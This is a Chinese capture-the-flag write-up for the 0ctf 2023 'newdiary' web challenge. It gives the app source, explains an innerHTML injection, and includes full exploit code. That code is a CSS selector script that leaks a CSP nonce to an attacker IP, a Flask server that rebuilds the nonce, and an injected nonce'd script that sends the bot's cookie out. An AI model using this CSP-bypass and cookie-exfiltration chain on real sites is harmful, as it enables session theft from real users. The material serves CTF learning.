app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
const express = require("express");
const bodyParser = require("body-parser");
const session = require("express-session");
const { assert } = require("console");
const { sha256, random_bytes } = require("./utils");
const { visit } = require("./bot");
const crypto = require("crypto");
const genNonce = () =>
"_"
.repeat(32)
.replace(/_/g, () =>
"abcdefghijklmnopqrstuvwxyz0123456789".charAt(crypto.randomInt(36))
);
const report = new Map();
const now = () => {
return Math.floor(+new Date() / 1000);
};

const app = express();

app.use("/static", express.static("static"));

app.use(bodyParser.urlencoded({ extended: false }));
app.use(
session({
cookie: { maxAge: 600000 },
secret: random_bytes(64),
})
);

app.use((req, res, next) => {
res.nonce = genNonce();
res.setHeader("X-Content-Type-Options", "nosniff");
res.setHeader("Cache-Control", "no-cache, no-store");
next();
});

app.engine("html", require("ejs").renderFile);
app.set("view engine", "html");

const users = new Map([[]]);

const notes = new Map([[]]);

const share_notes = new Map([[]]);

app.all("/", (req, res) => {
if (!req.session.username) {
return res.redirect("/login");
} else {
return res.render("index", {
username: req.session.username,
notes: notes.get(req.session.username) || [],
});
}
});

app.get("/login", (req, res) => {
if (req.session.username) {
return res.redirect("/");
}
return res.render("login");
});

app.post("/login", (req, res) => {
if (req.session.username) {
return res.redirect("/");
}
const { username, password } = req.body;

if (
username.length < 4 ||
username.length > 10 ||
typeof username !== "string" ||
password.length < 6 ||
typeof password !== "string"
) {
return res.render("login", { msg: "invalid data" });
}

if (users.has(username)) {
if (users.get(username) === sha256(password)) {
req.session.username = username;

return res.redirect("/");
} else {
return res.render("login", { msg: "Invalid Password" });
}
} else {
users.set(username, sha256(password));
req.session.username = username;

return res.redirect("/");
}
});

app.post("/write", (req, res) => {
if (!req.session.username) {
return res.redirect("/");
}
const username = req.session.username;
const { title, content } = req.body;

assert(title && typeof title === "string" && title.length < 30);
assert(content && typeof content === "string" && content.length < 256);

const user_notes = notes.get(username) || [];
user_notes.push({
title,
content,
username,
});
notes.set(req.session.username, user_notes);

return res.redirect("/");
});

app.get("/read", (req, res) => {
if (!req.session.username) {
return res.redirect("/");
}

return res.render("read", { nonce: res.nonce });
});

app.get("/read/:id", (req, res) => {
if (!req.session.username) {
return res.redirect("/");
}

const { id } = req.params;
if (!/^\d+$/.test(id)) {
return res.json({ status: 401, message: "Invalid parameter" });
}

const user_notes = notes.get(req.session.username);
const found = user_notes && user_notes[id];

if (found) {
return res.json({ title: found.title, content: found.content });
} else {
return res.json({ title: "404 not found", content: "no such note" });
}
});

app.get("/share_diary/:id", (req, res) => {
if (!req.session.username) {
return res.redirect("/");
}
const tmp = share_notes.get(req.session.username) || [];
const { id } = req.params;

if (!/^\d+$/.test(id)) {
return res.json({ status: 401, message: "Invalid parameter" });
}

const user_notes = notes.get(req.session.username);
const found = user_notes && user_notes[id];
if (found) {
tmp.push(found);
share_notes.set(req.session.username, tmp);
return res.redirect("/share");
} else {
return res.json({ title: "404 not found", content: "no such note" });
}
});

app.all("/share", (req, res) => {
if (!req.session.username) {
return res.redirect("/login");
} else {
return res.render("share", {
notes: share_notes.get(req.session.username) || [],
});
}
});

app.get("/share/read", (req, res) => {
return res.render("read_share", { nonce: res.nonce });
});

app.get("/share/read/:id", (req, res) => {
const { id } = req.params;
const username = req.query.username;

let found;
if (!/^\d+$/.test(id)) {
return res.json({ status: 401, message: "Invalid parameter" });
}
try {
if (username !== undefined) {
found = share_notes.get(username);
if (found) {
return res.json({
title: found[id].title,
content: found[id].content,
username: found[id].username,
});
}
} else if (req.session.username) {
found = share_notes.get(req.session.username);
if (found) {
return res.json({
title: found[id].title,
content: found[id].content,
username: found[id].username,
});
}
}
} catch {
return res.json({ title: "404 not found", content: "no such note" });
}
return res.json({ title: "404 not found", content: "no such note" });
});

app.all("/logout", (req, res) => {
req.session.destroy();
return res.redirect("/");
});

app.get("/report", (req, res) => {
if (!req.session.username) {
return res.redirect("/login");
}
const id = req.query.id;
const username = req.query.username;
if (typeof id === "string" && /^\d+$/.test(id)) {
try {
if (
report.has(req.session.username) &&
report.get(req.session.username) + 30 > now()
) {
return res.json({ error: "too fast" });
}
report.set(req.session.username, now());
visit(id, username);
return res.json({ msg: "visited" });
} catch (e) {
return res.status(500).json({ error: "failed" });
}
}
res.status(400).json({ error: "bad url" });
});

app.listen(80);
console.log("Server running on 80....");

  • /login路由直接登录,没有就自动新建用户名密码
  • /write路由可以写内容,自定义title和content
  • /read路由读取发布的文章,流程是/read->read.html->read.js->read/:id->返回页面
  • /share路由最重要的路由,先/share_diary->/share->share.html->/share/read—>
    read_share.html—>share_read.js:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    load = () => {
    document.getElementById("title").innerHTML = ""
    document.getElementById("content").innerHTML = ""
    const param = new URLSearchParams(location.hash.slice(1));
    const id = param.get('id');
    let username = param.get('username');
    if (id && /^[0-9a-f]+$/.test(id)) {
    if (username === null) {
    fetch(`/share/read/${id}`).then(data => data.json()).then(data => {
    const title = document.createElement('p');
    title.innerText = data.title;
    document.getElementById("title").appendChild(title);

    const content = document.createElement('p');
    content.innerHTML = data.content;
    document.getElementById("content").appendChild(content);
    })
    } else {
    fetch(`/share/read/${id}?username=${username}`).then(data => data.json()).then(data => {
    const title = document.createElement('p');
    title.innerText = data.title;
    document.getElementById("title").appendChild(title);

    const content = document.createElement('p');
    content.innerHTML = data.content;
    document.getElementById("content").appendChild(content);
    })
    }
    document.getElementById("report").href = `/report?id=${id}&username=${username}`;
    }
    window.removeEventListener('hashchange', load);
    }
    load();
    window.addEventListener('hashchange', load);
    这里可以拼接自己传进去的content,而且我们可以更改#后面的hash值来加载一次别的页面,但只有一次,因为加载完了之后就删掉了(removeEventListener)
    意思大概就是:我们访问http://127.0.0.1:8080/share/read#id=1&username=test1,可以这时候访问http://127.0.0.1:8080/share/read#id=2&username=test1,此时会加载id=2的页面,但是再改为3就不可以了

这里我们也可以通过拼接content的特性来构造标签来让他访问我们的css泄露nonce的脚本

1
<link rel="stylesheet" href="https://unpkg.com/jmx0hxq_testpub1@1.0.0/leak.css"><input />

在share的时候就可以触发来获取nonce

  • /report路由用于调用bot的visit()函数,bot可以携带含有flag的cookie去访问http://localhost/share/read#id=${id}&username=${username}页面,这里id和username可控
    我们这里设置成重定向的页面

攻击流程:

  • 先写重定向页面(第0个页面),利用/report路由触发bot去访问泄露nonce的js
    1
    <meta http-equiv="refresh" content="0.0;url=http://flaskip:5000/">
    用户访问此HTML页面后立即重定向
  • 访问第一个页面,里面有自己上传到unpkg.com的css泄露脚本,/share路由触发漏洞获取nonce
  • 拿到nonce后构造bot访问指定url来获取flag的页面(第二个页面)

参考wp的脚本:
CTF-Writeups/0ctf - 2023/newdiary at main ·salvatore-abello/CTF-Writeups ·GitHub上

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
import requests
from flask import Flask, request, render_template, redirect, url_for, session, make_response
import random

s = requests.Session()

url = 'http://127.0.0.1:8080'

# little random
user = 'pwn'+str(random.randint(0, 1000000))
ngrok_url = 'http://10.27.179.134:5000/'

app = Flask(__name__)

nonce_substr = set()


def retrieveNonce(nonce_substr=nonce_substr, force=False):
# find the beginning of the nonce (there is no match for start)
new_substr = list(nonce_substr)
if (len(new_substr) != 30 and not force):
print(f"different length of new_substr [{len(new_substr)}] - aborting")
return 0
backup = []
nonce = ''
remove_i = 0
for i in range(len(new_substr)):
start_i = new_substr[i][0:2]
left = 0
for j in range(len(new_substr)):
end_j = new_substr[j][-2:]
if i != j:
if start_i == end_j:
left = 1
break
if left == 0:
# beginning
remove_i = i
nonce = new_substr[i]
break
if (len(nonce) == 0):
print("no beginning - aborting")
return 0
while (len(nonce) < 32):
new_substr = new_substr[0:remove_i] + new_substr[remove_i+1:]
# print("new substr: " + str(new_substr))
found = []
for i in range(len(new_substr)):
start_i = new_substr[i][0:2]
if (nonce[-2:] == start_i):
# print("found: " + start_i)
found += [i]
if (len(found) == 0):
# start over from latest backup
if (len(backup) > 0):
nonce = backup[-1][0]
found = backup[-1][1]
new_substr = backup[-1][2]
backup = backup[:-1]
else:
print("no backup - aborting")
break
if (len(found) > 0):
if (len(found) > 1):
print("found more than one: " + str(found))
backup += [[nonce, found[1:], new_substr]]
remove_i = found[0]
nonce += new_substr[remove_i][-1]

# input("nonce: " + nonce)

return nonce

def login():
r = s.post(url + '/login', data={'username': user, 'password': user})
if r.status_code != 200:
print("login failed")

def write_zero_note():
r = s.post(url + '/write', data={'title':'meta', 'content': f'<meta http-equiv="refresh" content="0.0;url={ngrok_url}">'})
share(0)

def write_first_note():
r = s.post(url + '/write', data={'title':'linkstylesheet', 'content': '<link rel="stylesheet" href="https://unpkg.com/jmx0hxq_testpub1@1.0.0/leak.css"><input />'})
share(1)

def share(num):
r = s.get(f"{url}/share_diary/{num}")

def create_script_nonce(nonce):
script = f"""<iframe name=asd srcdoc="<script nonce={nonce}>top.location='{ngrok_url}flag?flag='+encodeURI(document['cookie'])</script>"/>"""
r = s.post(url + '/write', data={'title':'pwning', 'content': script})
share(2)

def report():
r = s.get(url + '/report?id=0&username=' + user)

def logout():
r = s.get(url + '/logout')

@app.route('/exploit')
def exploit(test=False):
global user
user = 'pwn'+str(random.randint(0, 1000000))
logout()
login()
write_zero_note()
write_first_note()
if (test == False):
print("reporting...")
report()
return "exploit for "+user+" done"

@app.route('/flag')
def flag():
flag = request.args.get('flag')
if flag is not None:
print("flag: " + flag)
return "You have been pwned"
return "Pls give me flag"

@app.route('/')
def index():
x = request.args.get('x')
if x is not None:
print("x: " + x)
print("current nonce_substr: " + str(nonce_substr))
nonce_substr.add(x)
if len(nonce_substr) >= 30:
nonce = retrieveNonce()
print("nonce: " + nonce)
create_script_nonce(nonce)

return render_template('index.html', USERNAME=user)

if __name__ == '__main__':
try:
print('Public URL:', ngrok_url)
app.run(host='0.0.0.0', port=5000)
except Exception as e:
print(e)
print("aborting")
finally:
exit(0)

templates有index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>

<script>
const sleep = (milliseconds) => new Promise(resolve => setTimeout(resolve, milliseconds));
async function run(){
bot_window = window.open("http://localhost/share/read#id=1&username={{USERNAME}}"); // Exploit 1, leak nonce
await sleep(7000);

bot_window.location.href = "http://localhost/share/read#id=2&username={{USERNAME}}"; // Exploit 2, leak cookie
await sleep(100);
console.log("O");
}
run();
</script>
</body>
</html>

这里分别share两个页面,时间间隔7s差不多nonce已经计算完成

生成css的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import itertools

charset = "abcdefghijklmnopqrstuvwxyz0123456789"

perms = list(map("".join, itertools.product(charset, repeat=3)))

with open("leak.css", "w") as f:
for i, x in enumerate(perms):
f.write(
f""":has(script[nonce*="{x}"]){{--tosend-{x}: url(http://10.27.179.134:5000/?x={x});}}""")

data = ""
print("loading")
for x in perms:
data += f"var(--tosend-{x}, none),"

print("done")
print("writing")

f.write(("""
input{
background: %s
}
""" % data[:-1]))

这题的CSP策略是:

1
2
<meta http-equiv="Content-Security-Policy"
content="script-src 'nonce-<%= nonce %>'; frame-src 'none'; object-src 'none'; base-uri 'self'; style-src 'unsafe-inline' https://unpkg.com">

这里要上传到https://unpkg.com上,要先去npm官网注册一个账号,然后本地空的文件夹:
1
2
3
4
5
npm init
一直回车
编写package.json,包名不能和别人发布的包名重复
npm login
npm public

然后npm官网可以查看到自己发布的包
image.png

exp脚本直接访问/exp即可:
会先调用/write写重定向页面,泄露nonce的脚本,然后http://10.27.179.134:5000/?x={x}会不断发给本地开启flask的机器,本地的/路由会收集nonce片段,最终得到完成的nonce,然后写bot带出flag的页面(id=2的页面),此时index.html的休眠7秒也差不多结束了,开始share这个新写的页面超过用nonce值绕过csp带出flag

image.png

参考
CTF-Writeups/0ctf - 2023/newdiary at main ·salvatore-abello/CTF-Writeups ·GitHub上